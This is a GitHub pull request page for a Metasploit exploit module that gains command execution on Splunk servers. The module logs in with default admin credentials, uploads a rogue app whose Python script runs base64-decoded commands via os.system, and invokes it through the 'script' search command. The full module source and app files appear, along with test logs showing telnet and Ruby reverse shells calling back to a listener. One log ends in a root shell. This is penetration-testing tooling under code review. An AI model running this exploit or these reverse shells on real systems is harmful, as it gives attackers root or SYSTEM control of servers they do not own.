Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP

Loading…

Splunk upload app exec #1062

Closed
wants to merge 9 commits into from

4 participants

@marcwickenden

Addition of a module to abuse the "script" functionality in Splunk (all versions) to gain arbitrary command execution on the Splunk server.

Blog post URLs in the exploit module explain the background and give examples of usage. Links will be live very shortly.

At the moment there is a tgz included in the data directory. With no tar support in rex at this time I did not have time yet to code the dynamic generation of the tarball but this is definitely on my roadmap. The folder from which the tgz is generated is included unpacked too for ease of modification and reference.

Marc Wickenden added some commits
Marc Wickenden addition of exploit module for script command in Splunk d9d59a7
Marc Wickenden remove rex/tar require as not yet implemented 116cae3
Marc Wickenden re-ordered status message so variable defined when called cb3e6ad
Marc Wickenden improvements to app so data is written back to Splunk bd1e39d
Marc Wickenden Multiple improvements
- Overhauled Splunk app to format and return output
- Converted to non-streaming app to enable output
- Added advanced options for disabling command output,
	forcing upload to overwrite (if you change the app tgz),
	disabling upload if you've already uploaded once
04032a7
Marc Wickenden addition of blog post URLs 0519376
Marc Wickenden added advanced option to increase delay waiting for command output 549e430
@wchen-r7
Collaborator

Any CVE or OSVDB for this?

modules/exploits/multi/http/splunk_upload_app_exec.rb
((47 lines not shown))
+ 'Universal CMD',
+ {
+ 'Arch' => ARCH_CMD,
+ 'Platform' => ['unix', 'win', 'linux']
+ }
+ ]
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => '27 September 2012'))
+
+ register_options(
+ [
+ Opt::RPORT(8000),
+ OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),
+ OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]),
+ OptString.new('SPLUNK_APP_FILE',
@jlee-r7 Collaborator
jlee-r7 added a note

Should be OptPath

Fixed.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/multi/http/splunk_upload_app_exec.rb
((136 lines not shown))
+ 'earliest_time' => "0",
+ 'latest_time' => "",
+ 'timeFormat' => "%s.%Q"
+ }
+ }, 25)
+
+ if return_output
+ res.body.match(/data":\ "([0-9.]+)"/)
+ job_id = $1
+
+ # wait a short time to let the output be produced
+ print_status("waiting for #{command_output_delay} seconds to retrieve command output")
+ select(nil,nil,nil,command_output_delay)
+ job_output = fetch_job_output(job_id)
+ if job_output.body.match(/Waiting for data.../)
+ print_info("no output returned in time")
@jlee-r7 Collaborator
jlee-r7 added a note

print_info doesn't exist. You probably meant print_status

Yes. Yes I did.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/multi/http/splunk_upload_app_exec.rb
((156 lines not shown))
+ line.gsub!(/^"/,"")
+ line.gsub!(/"$/,"")
+ output << line
+ end
+
+ # return the output
+ print_status("command returned:")
+ print output
+ end
+ else
+ handler
+ end
+ end
+
+ def check
+ # all versions are actually "vulnerable" but check implemented for future proofing
@jlee-r7 Collaborator
jlee-r7 added a note

This would be more useful if it checks the login credentials.

Agree it's pretty useless right now. Is it normal to perform an authentication as part of an exploit check? I'm happy to move it around a little and call do_login as part of the check too but I'd class a login as an intrusive action rather than a check.

If someone calls check multiple times with incorrect details they could lock a valid account. Am I wrong on this point or is there precedent?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@marcwickenden

No CVE, etc as it's not actually a vulnerability. Blog posts referenced are going live tomorrow but in short it abuses functionality. Written as an exploit to give payload options.

Will look at the other comments now. Thanks for the feedback. :+1:

Marc Wickenden - fixed typo use of print_info instead of print_status
- use OptPath for the SPLUNK_APP_FILE
803b3da
@wchen-r7
Collaborator

Please run msftidy on your module first, and then correct all the warnings/errors if you see them. Thanks.

@wchen-r7
Collaborator

tar file inspected.

@marcwickenden

Cool, didn't know about msftidy. Bunch of indentation issues to clean up. Will do that now.

@wchen-r7
Collaborator

Tested with splunk-4.2.5-113966-linux-2.6-intel.deb.deb, not really working for me:

emsf  exploit(splunk_upload_app_exec) > rexploit
[*] Reloading module...
[*] Using command: sh -c '(sleep 4484|telnet 10.0.1.3 4444|while : ; do sh && break; done 2>&1|telnet 10.0.1.3 4444 >/dev/null 2>&1 &)'

[*] authenticating...
[*] Started reverse double handler
[*] fetching csrf token from /en-US/manager/launcher/apps/local
[-] Exploit failed: csrf form Key not found
[*] Exploit completed, but no session was created.

I looked at /en-US/manager/launcher/apps/local manually, no "FORM_KEY" in that page.

Am I missing something?

@wchen-r7
Collaborator

Tested with splunk-5.0.1-143156-linux-2.6-intel.deb.deb, working for me:

msf  exploit(splunk_upload_app_exec) > rexploit
[*] Reloading module...

[*] Using command: sh -c '(sleep 3674|telnet 10.0.1.3 4444|while : ; do sh && break; done 2>&1|telnet 10.0.1.3 4444 >/dev/null 2>&1 &)'
[*] Started reverse double handler
[*] authenticating...
[*] fetching csrf token from /en-US/manager/launcher/apps/local
[*] uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[*] invoking script command
[*] waiting for 5 seconds to retrieve command output
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo u0G9gZ8HUebH9S0R;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "u0G9gZ8HUebH9S0R\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.0.1.3:4444 -> 10.0.1.8:52635) at 2012-11-16 14:53:24 -0600
id
[*] fetching job_output for id 1353099201.2
[*] command returned:

uid=0(root) gid=0(root) groups=0(root)

So it looks like the exploit actually doesn't work against older versions of Splunk.

@wchen-r7
Collaborator

I'll be making some changes to the module. When it's in master, please remember to update before you decide to make anymore changes again.

@wchen-r7
Collaborator

Log for the tgz file inspection:

mbp:review sinn3r$ file upload_app_exec.tgz 
upload_app_exec.tgz: gzip compressed data, from Unix, last modified: Tue Nov 13 03:46:49 2012
mbp:review sinn3r$ tar -xf upload_app_exec.tgz 
mbp:review sinn3r$ ls -R upload_app_exec
bin      default  metadata

upload_app_exec/bin:
msf_exec.py

upload_app_exec/default:
app.conf      commands.conf

upload_app_exec/metadata:
default.meta
mbp:review sinn3r$ cat upload_app_exec/bin/msf_exec.py 
import sys
import base64
import splunk.Intersplunk

results = []

try:
        sys.modules['os'].system(base64.b64decode(sys.argv[1]))

except:
        import traceback
        stack = traceback.format_exc()
        results = splunk.Intersplunk.generateErrorResults("Error : Traceback: " + str(stack))

splunk.Intersplunk.outputResults(results)
mbp:review sinn3r$
@wchen-r7
Collaborator

Tested against splunk-5.0.1-143156-x86-release.msi on Windows Server 2003 SP2, similar prob as before:

[*] Started reverse handler on 10.0.1.3:4444 
[*] Using command: ruby -rsocket -e 'c=TCPSocket.new("10.0.1.3","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
[*] Authenticating...
[*] Fetching csrf token from /en-US/manager/launcher/apps/local
[*] Uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] Fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[-] Exploit failed: csrf form Key not found

When it tries to find a token from /en-US/app/upload_app_exec/flashtimeline, the server returns a 404 ("App "upload_app_exec" does not support UI access. See its app.conf for more information.")

I might have to strip support for Windows if I can't find a Windows box that works.

@wchen-r7
Collaborator

I take that back. I don't think this module is ready, and it should go through more testing/tweaking against different environments. Here's another example against Windows Server 2008 SP0 of it not working:

[*] Started reverse handler on 10.0.1.3:4444 
[*] Using command: ruby -rsocket -e 'c=TCPSocket.new("10.0.1.3","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
[*] authenticating...
[*] fetching csrf token from /en-US/manager/launcher/apps/local
[*] uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[*] invoking script command
[*] waiting for 5 seconds to retrieve command output
[*] fetching job_output for id 1353105938.4
[*] command returned:
msf  exploit(splunk_upload_app_exec) >

I'll just let you know which parts should be changed with examples. And then we'll come back to review this again when it's ready.

@wchen-r7 wchen-r7 commented on the diff
modules/exploits/multi/http/splunk_upload_app_exec.rb
((26 lines not shown))
+ },
+ 'Author' =>
+ [
+ "@marcwickenden", # discovery and metasploit module
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'URL', 'http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html' ],
+ [ 'URL', 'http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html' ],
+ [ 'URL', 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script' ],
+ ],
+ 'Payload' =>
+ {
+ 'Space' => 1024,
+ 'Badchars' => '',
@wchen-r7 Collaborator

Please remove this. When it's empty, then you don't really need it.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@wchen-r7 wchen-r7 commented on the diff
modules/exploits/multi/http/splunk_upload_app_exec.rb
((21 lines not shown))
+ commands defined in their custom application which includes arbitrary perl or python code.
+ To exploit this vulnerability, a valid Splunk user with the admin
+ role is required. By default, this module uses the credential of "admin:changeme",
+ the default Administrator credential for Splunk. Note that the Splunk web interface
+ runs as SYSTEM on Windows and as root on Linux by default.
+ },
+ 'Author' =>
+ [
+ "@marcwickenden", # discovery and metasploit module
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'URL', 'http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html' ],
+ [ 'URL', 'http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html' ],
+ [ 'URL', 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script' ],
@wchen-r7 Collaborator

Generally it's best to avoid trailing commas. Sometimes a trailing comma can cause a syntax error in Ruby 1.8.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@wchen-r7 wchen-r7 commented on the diff
modules/exploits/multi/http/splunk_upload_app_exec.rb
((32 lines not shown))
+ 'References' =>
+ [
+ [ 'URL', 'http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html' ],
+ [ 'URL', 'http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html' ],
+ [ 'URL', 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script' ],
+ ],
+ 'Payload' =>
+ {
+ 'Space' => 1024,
+ 'Badchars' => '',
+ 'DisableNops' => true
+ },
+ 'Targets' =>
+ [
+ [
+ 'Universal CMD',
@wchen-r7 Collaborator

Only name it "Universal" when you've actually tested every platform supported by the vulnerable software.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@wchen-r7 wchen-r7 commented on the diff
modules/exploits/multi/http/splunk_upload_app_exec.rb
((236 lines not shown))
+ if v.split('=')[0] =~ /session_id/
+ session_id_port = v.split('=')[0]
+ session_id = v.split('=')[1]
+ end
+ }
+ }
+ @auth_cookies = "#{session_id_port}=#{session_id}"
+ end
+ end
+
+ def do_upload_app(app_name, file_name)
+ archive_file_name = File.basename(file_name)
+ print_status("uploading file #{archive_file_name}")
+ file_data = File.open(file_name, "rb") { |f| f.read }
+
+ boundary = '--------------' + rand_text_alphanumeric(6)
@wchen-r7 Collaborator

Instead of crafting this from scratch, you should use Rex::MIME::Message. Here's exactly how to do that:

data = Rex::MIME::Message.new
data.add_part(@csrf_form_key, nil, nil, "form-data; name=\"splunk_form_key\"")
if @enable_overwrite
    data.add_part('1', nil, nil, "form-data; name=\"force\"")
end
data.add_part(file_data, 'application/x-gzip', nil, "name=\"appfile\"; filename=\"#{archive_file_name}\"")
post_data = data.to_s
post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@wchen-r7 wchen-r7 commented on the diff
modules/exploits/multi/http/splunk_upload_app_exec.rb
((254 lines not shown))
+ data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n\r\n"
+ data << "#{@csrf_form_key}"
+ data << "\r\n--#{boundary}\r\n"
+
+ if @enable_overwrite
+ data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n"
+ data << "1"
+ data << "\r\n--#{boundary}\r\n"
+ end
+
+ data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n"
+ data << "Content-Type: application/x-gzip\r\n\r\n"
+ data << file_data
+ data << "\r\n--#{boundary}--\r\n"
+
+ res = send_request_raw({
@wchen-r7 Collaborator

When you use Rex::MIME::Message like I demonstrated, you can use send_request_cgi() instead. This is exactly how to do that:

res = send_request_cgi({
    'uri'     => '/en-US/manager/appinstall/_upload',
    'method'  => 'POST',
    'cookie'  => @auth_cookies,
    'ctype'   => "multipart/form-data; boundary=#{data.bound}",
    'data'    => post_data
}, 30)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@wchen-r7 wchen-r7 commented on the diff
modules/exploits/multi/http/splunk_upload_app_exec.rb
((289 lines not shown))
+ print_status("fetching csrf token from #{uri}")
+ res = send_request_cgi(
+ {
+ 'uri' => uri,
+ 'method' => 'GET',
+ 'cookie' => @auth_cookies
+ }, 25)
+ res.body.match(/FORM_KEY":\ "(\d+)"/)
+ @csrf_form_key = $1
+ fail_with(Exploit::Failure::Unknown, "csrf form Key not found") if not @csrf_form_key
+ end
+
+ def fetch_job_output(job_id)
+ # fetch the output of our job id as csv for easy parsing
+ print_status("fetching job_output for id #{job_id}")
+ res = send_request_raw(
@wchen-r7 Collaborator

In here, you should take advantage of send_request_cgi(). Here's exactly how to do that:

res = send_request_raw(
{
    'uri'          => "/en-US/api/search/jobs/#{job_id}/result",
    'method'       => 'GET',
    'cookie'       => @auth_cookies,
    'encode_param' => 'false',
    'vars_get'     => {
        'isDownload'     =>'true',
        'timeFormat'     => '%FT%T.%Q%:z',
        'maxLines'       => '0',
        'count'          => '0',
        'filename'       => '',
        'outputMode'     => 'csv',
        'spl_ctrl-limit' => 'unlimited',
        'spl_ctrl-count' => '10000'
    }
})

If you don't want the API to automatically escaping the parameter name & value, set encode_params to false. When I tested this, I didn't have to do that though.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jvazquez-r7
Collaborator

A little more testing, just blind testing, without digging why it's failing:

  • Windows XP SP3 / splunk-5.0.1-143156-x86-release
msf  exploit(splunk_upload_app_exec) > show options

Module options (exploit/multi/http/splunk_upload_app_exec):

   Name             Current Setting                                                                     Required  Description
   ----             ---------------                                                                     --------  -----------
   PASSWORD         changeme                                                                            yes       The password for the specified username
   Proxies                                                                                              no        Use a proxy chain
   RHOST            192.168.1.140                                                                       yes       The target address
   RPORT            8000                                                                                yes       The target port
   SPLUNK_APP_FILE  /Users/juan/Projects/metasploit-framework/data/exploits/splunk/upload_app_exec.tgz  yes       The "rogue" Splunk application tgz
   USERNAME         admin                                                                               yes       The username with admin role to authenticate as
   VHOST                                                                                                no        HTTP server virtual host


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.129    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Universal CMD


msf  exploit(splunk_upload_app_exec) > rexploit
[*] Reloading module...

[*] Started reverse double handler
[*] Using command: sh -c '(sleep 4159|telnet 192.168.1.129 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.129 4444 >/dev/null 2>&1 &)'
[*] authenticating...
[*] fetching csrf token from /en-US/manager/launcher/apps/local
[*] uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[*] invoking script command
[*] waiting for 5 seconds to retrieve command output
[*] fetching job_output for id 1353142058.2
[*] command returned:
  • Windows XP SP3 / splunk-4.2.5-113966-x86-release
msf  exploit(splunk_upload_app_exec) > rexploit
[*] Reloading module...

[*] Using command: sh -c '(sleep 4039|telnet 192.168.1.129 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.129 4444 >/dev/null 2>&1 &)'
[*] authenticating...
[*] Started reverse double handler
[*] fetching csrf token from /en-US/manager/launcher/apps/local
[-] Exploit failed: csrf form Key not found
@marcwickenden
@wchen-r7
Collaborator

Any more progress for this?

@wchen-r7
Collaborator

It looks like no more progress is made. I'll have to to leave this in the unstable branch for now because it has issues with some other vulnerable versions. When this is ready again, feel free to reopen/or start a new pull request, and then we'll come back to verify it again.

@wchen-r7 wchen-r7 closed this
@marcwickenden
@jvazquez-r7 jvazquez-r7 referenced this pull request from a commit in jvazquez-r7/metasploit-framework
jvazquez-r7 Cleanup of #1062 133ad04
@todb todb referenced this pull request from a commit in todb/metasploit-framework
@todb todb Merge master to unstable so it's possible to merge back
This should also resolve the conflict introduced by #1913 (and #1062).
Unstable modules should hit the unstable directory to avoid problems like this.

Conflicts:
	unstable-modules/exploits/incomplete/multi/http/splunk_upload_app_exec.rb
c5f52ba
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Commits on Nov 11, 2012
  1. addition of exploit module for script command in Splunk

    Marc Wickenden authored
  2. remove rex/tar require as not yet implemented

    Marc Wickenden authored
  3. re-ordered status message so variable defined when called

    Marc Wickenden authored
Commits on Nov 12, 2012
  1. improvements to app so data is written back to Splunk

    Marc Wickenden authored
Commits on Nov 13, 2012
  1. Multiple improvements

    Marc Wickenden authored
    - Overhauled Splunk app to format and return output
    - Converted to non-streaming app to enable output
    - Added advanced options for disabling command output,
    	forcing upload to overwrite (if you change the app tgz),
    	disabling upload if you've already uploaded once
  2. addition of blog post URLs

    Marc Wickenden authored
  3. - fixed typo use of print_info instead of print_status

    Marc Wickenden authored
    - use OptPath for the SPLUNK_APP_FILE
Commits on Nov 16, 2012
  1. fixed all warnings from msftidy

    Marc Wickenden authored
This page is out of date. Refresh to see the latest.
View
BIN  data/exploits/splunk/upload_app_exec.tgz
Binary file not shown
View
15 data/exploits/splunk/upload_app_exec/bin/msf_exec.py
@@ -0,0 +1,15 @@
+import sys
+import base64
+import splunk.Intersplunk
+
+results = []
+
+try:
+ sys.modules['os'].system(base64.b64decode(sys.argv[1]))
+
+except:
+ import traceback
+ stack = traceback.format_exc()
+ results = splunk.Intersplunk.generateErrorResults("Error : Traceback: " + str(stack))
+
+splunk.Intersplunk.outputResults(results)
View
7 data/exploits/splunk/upload_app_exec/default/app.conf
@@ -0,0 +1,7 @@
+[launcher]
+author=Marc Wickenden
+description=Metasploit module spunk_upload_app_exec.rb
+version=1.3.3.7
+
+[ui]
+is_visible = true
View
7 data/exploits/splunk/upload_app_exec/default/commands.conf
@@ -0,0 +1,7 @@
+[msf_exec]
+type = python
+filename = msf_exec.py
+local = false
+enableheader = false
+streaming = false
+perf_warn_limit = 0
View
2  data/exploits/splunk/upload_app_exec/metadata/default.meta
@@ -0,0 +1,2 @@
+[commands]
+export = system
View
313 modules/exploits/multi/http/splunk_upload_app_exec.rb
@@ -0,0 +1,313 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Splunk Custom App Remote Code Execution',
+ 'Description' => %q{
+ This module exploits a feature of Splunk whereby a custom application can be uploaded
+ through the web based interface. Through the 'script' search command a user can call
+ commands defined in their custom application which includes arbitrary perl or python code.
+ To exploit this vulnerability, a valid Splunk user with the admin
+ role is required. By default, this module uses the credential of "admin:changeme",
+ the default Administrator credential for Splunk. Note that the Splunk web interface
+ runs as SYSTEM on Windows and as root on Linux by default.
+ },
+ 'Author' =>
+ [
+ "@marcwickenden", # discovery and metasploit module
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'URL', 'http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html' ],
+ [ 'URL', 'http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html' ],
+ [ 'URL', 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script' ],
@wchen-r7 Collaborator

Generally it's best to avoid trailing commas. Sometimes a trailing comma can cause a syntax error in Ruby 1.8.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
+ ],
+ 'Payload' =>
+ {
+ 'Space' => 1024,
+ 'Badchars' => '',
@wchen-r7 Collaborator

Please remove this. When it's empty, then you don't really need it.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
+ 'DisableNops' => true
+ },
+ 'Targets' =>
+ [
+ [
+ 'Universal CMD',
@wchen-r7 Collaborator

Only name it "Universal" when you've actually tested every platform supported by the vulnerable software.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
+ {
+ 'Arch' => ARCH_CMD,
+ 'Platform' => ['unix', 'win', 'linux']
+ }
+ ]
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'Sep 27 2012'))
+
+ register_options(
+ [
+ Opt::RPORT(8000),
+ OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),
+ OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]),
+ OptPath.new('SPLUNK_APP_FILE',
+ [
+ true,
+ 'The "rogue" Splunk application tgz',
+ File.join(Msf::Config.install_root, 'data', 'exploits', 'splunk', 'upload_app_exec.tgz')
+ ]),
+ ], self.class)
+
+ register_advanced_options(
+ [
+ OptBool.new('ReturnOutput', [ true, 'Display command output', true ]),
+ OptBool.new('DisableUpload', [ true, 'Disable the app upload if you have already performed it once', false ]),
+ OptBool.new('EnableOverwrite', [true, 'Overwrites an app of the same name. Needed if you change the app code in the tgz', false]),
+ OptInt.new('CommandOutputDelay', [true, 'Seconds to wait before requesting command output from Splunk', 5]),
+ ], self.class)
+ end
+
+ def exploit
+ # process standard options
+ @username = datastore['USERNAME']
+ @password = datastore['PASSWORD']
+ file_name = datastore['SPLUNK_APP_FILE']
+
+ # process advanced options
+ return_output = datastore['ReturnOutput']
+ disable_upload = datastore['DisableUpload']
+ @enable_overwrite = datastore['EnableOverwrite']
+ command_output_delay = datastore['CommandOutputDelay']
+
+ # set up some variables for later use
+ @auth_cookies = ''
+ @csrf_form_key = ''
+ app_name = 'upload_app_exec'
+ p = payload.encoded
+ print_status("Using command: #{p}")
+ cmd = Rex::Text.encode_base64(p)
+
+ # log in to Splunk (if required)
+ do_login
+
+ # fetch the csrf token for use in the upload next
+ do_get_csrf('/en-US/manager/launcher/apps/local')
+
+ unless disable_upload
+ # upload the arbitrary command execution Splunk app tgz
+ do_upload_app(app_name, file_name)
+ end
+
+ # get the next csrf token from our new app
+ do_get_csrf("/en-US/app/#{app_name}/flashtimeline")
+
+ # call our command execution function with the Splunk 'script' command
+ print_status("invoking script command")
+ res = send_request_cgi(
+ {
+ 'uri' => '/en-US/api/search/jobs',
+ 'method' => 'POST',
+ 'cookie' => @auth_cookies,
+ 'headers' =>
+ {
+ 'X-Requested-With' => 'XMLHttpRequest',
+ 'X-Splunk-Form-Key' => @csrf_form_key
+ },
+ 'vars_post' =>
+ {
+ 'search' => "search * | script msf_exec #{cmd}", # msf_exec defined in default/commands.conf
+ 'status_buckets' => "300",
+ 'namespace' => "#{app_name}",
+ 'ui_dispatch_app' => "#{app_name}",
+ 'ui_dispatch_view' => "flashtimeline",
+ 'auto_cancel' => "100",
+ 'wait' => "0",
+ 'required_field_list' => "*",
+ 'adhoc_search_level' => "smart",
+ 'earliest_time' => "0",
+ 'latest_time' => "",
+ 'timeFormat' => "%s.%Q"
+ }
+ }, 25)
+
+ if return_output
+ res.body.match(/data":\ "([0-9.]+)"/)
+ job_id = $1
+
+ # wait a short time to let the output be produced
+ print_status("waiting for #{command_output_delay} seconds to retrieve command output")
+ select(nil,nil,nil,command_output_delay)
+ job_output = fetch_job_output(job_id)
+ if job_output.body.match(/Waiting for data.../)
+ print_status("no output returned in time")
+ else
+ output = ""
+ job_output.body.each_line do |line|
+ # strip off the leading and trailing " added by Splunk
+ line.gsub!(/^"/,"")
+ line.gsub!(/"$/,"")
+ output << line
+ end
+
+ # return the output
+ print_status("command returned:")
+ print output
+ end
+ else
+ handler
+ end
+ end
+
+ def check
+ # all versions are actually "vulnerable" but check implemented for future proofing
+ # and good practice
+ res = send_request_cgi(
+ {
+ 'uri' => '/en-US/account/login',
+ 'method' => 'GET'
+ }, 25)
+
+ if res and res.body =~ /Splunk Inc\. Splunk/
+ return Exploit::CheckCode::Appears
+ else
+ return Exploit::CheckCode::Safe
+ end
+ end
+
+ def do_login
+ print_status("authenticating...")
+ # this method borrowed with thanks from splunk_mappy_exec.rb
+ res = send_request_cgi(
+ {
+ 'uri' => '/en-US/account/login',
+ 'method' => 'GET'
+ }, 25)
+
+ cval = ''
+ uid = ''
+ session_id_port =
+ session_id = ''
+ if res and res.code == 200
+ res.headers['Set-Cookie'].split(';').each {|c|
+ c.split(',').each {|v|
+ if v.split('=')[0] =~ /cval/
+ cval = v.split('=')[1]
+ elsif v.split('=')[0] =~ /uid/
+ uid = v.split('=')[1]
+ elsif v.split('=')[0] =~ /session_id/
+ session_id_port = v.split('=')[0]
+ session_id = v.split('=')[1]
+ end
+ }
+ }
+ else
+ fail_with(Exploit::Failure::NotFound, "Unable to get session cookies")
+ end
+
+ res = send_request_cgi(
+ {
+ 'uri' => '/en-US/account/login',
+ 'method' => 'POST',
+ 'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
+ 'vars_post' =>
+ {
+ 'cval' => cval,
+ 'username' => @username,
+ 'password' => @password
+ }
+ }, 25)
+
+ if not res or res.code != 303
+ fail_with(Exploit::Failure::NoAccess, "Unable to authenticate")
+ else
+ session_id_port = ''
+ session_id = ''
+ res.headers['Set-Cookie'].split(';').each {|c|
+ c.split(',').each {|v|
+ if v.split('=')[0] =~ /session_id/
+ session_id_port = v.split('=')[0]
+ session_id = v.split('=')[1]
+ end
+ }
+ }
+ @auth_cookies = "#{session_id_port}=#{session_id}"
+ end
+ end
+
+ def do_upload_app(app_name, file_name)
+ archive_file_name = File.basename(file_name)
+ print_status("uploading file #{archive_file_name}")
+ file_data = File.open(file_name, "rb") { |f| f.read }
+
+ boundary = '--------------' + rand_text_alphanumeric(6)
@wchen-r7 Collaborator

Instead of crafting this from scratch, you should use Rex::MIME::Message. Here's exactly how to do that:

data = Rex::MIME::Message.new
data.add_part(@csrf_form_key, nil, nil, "form-data; name=\"splunk_form_key\"")
if @enable_overwrite
    data.add_part('1', nil, nil, "form-data; name=\"force\"")
end
data.add_part(file_data, 'application/x-gzip', nil, "name=\"appfile\"; filename=\"#{archive_file_name}\"")
post_data = data.to_s
post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
+
+ data = "--#{boundary}\r\n"
+ data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n\r\n"
+ data << "#{@csrf_form_key}"
+ data << "\r\n--#{boundary}\r\n"
+
+ if @enable_overwrite
+ data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n"
+ data << "1"
+ data << "\r\n--#{boundary}\r\n"
+ end
+
+ data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n"
+ data << "Content-Type: application/x-gzip\r\n\r\n"
+ data << file_data
+ data << "\r\n--#{boundary}--\r\n"
+
+ res = send_request_raw({
@wchen-r7 Collaborator

When you use Rex::MIME::Message like I demonstrated, you can use send_request_cgi() instead. This is exactly how to do that:

res = send_request_cgi({
    'uri'     => '/en-US/manager/appinstall/_upload',
    'method'  => 'POST',
    'cookie'  => @auth_cookies,
    'ctype'   => "multipart/form-data; boundary=#{data.bound}",
    'data'    => post_data
}, 30)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
+ 'uri' => '/en-US/manager/appinstall/_upload',
+ 'method' => 'POST',
+ 'cookie' => @auth_cookies,
+ 'data' => data,
+ 'headers' =>
+ {
+ 'Content-Type' => "multipart/form-data; boundary=#{boundary}",
+ 'Content-Length' => data.length
+ }
+ }, 30)
+
+ if (res and res.code == 303 or 200)
+ print_status("#{app_name} successfully uploaded")
+ else
+ fail_with(Exploit::Failure::Unknown, "Error uploading")
+ end
+ end
+
+ def do_get_csrf(uri)
+ print_status("fetching csrf token from #{uri}")
+ res = send_request_cgi(
+ {
+ 'uri' => uri,
+ 'method' => 'GET',
+ 'cookie' => @auth_cookies
+ }, 25)
+ res.body.match(/FORM_KEY":\ "(\d+)"/)
+ @csrf_form_key = $1
+ fail_with(Exploit::Failure::Unknown, "csrf form Key not found") if not @csrf_form_key
+ end
+
+ def fetch_job_output(job_id)
+ # fetch the output of our job id as csv for easy parsing
+ print_status("fetching job_output for id #{job_id}")
+ res = send_request_raw(
@wchen-r7 Collaborator

In here, you should take advantage of send_request_cgi(). Here's exactly how to do that:

res = send_request_raw(
{
    'uri'          => "/en-US/api/search/jobs/#{job_id}/result",
    'method'       => 'GET',
    'cookie'       => @auth_cookies,
    'encode_param' => 'false',
    'vars_get'     => {
        'isDownload'     =>'true',
        'timeFormat'     => '%FT%T.%Q%:z',
        'maxLines'       => '0',
        'count'          => '0',
        'filename'       => '',
        'outputMode'     => 'csv',
        'spl_ctrl-limit' => 'unlimited',
        'spl_ctrl-count' => '10000'
    }
})

If you don't want the API to automatically escaping the parameter name & value, set encode_params to false. When I tested this, I didn't have to do that though.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
+ {
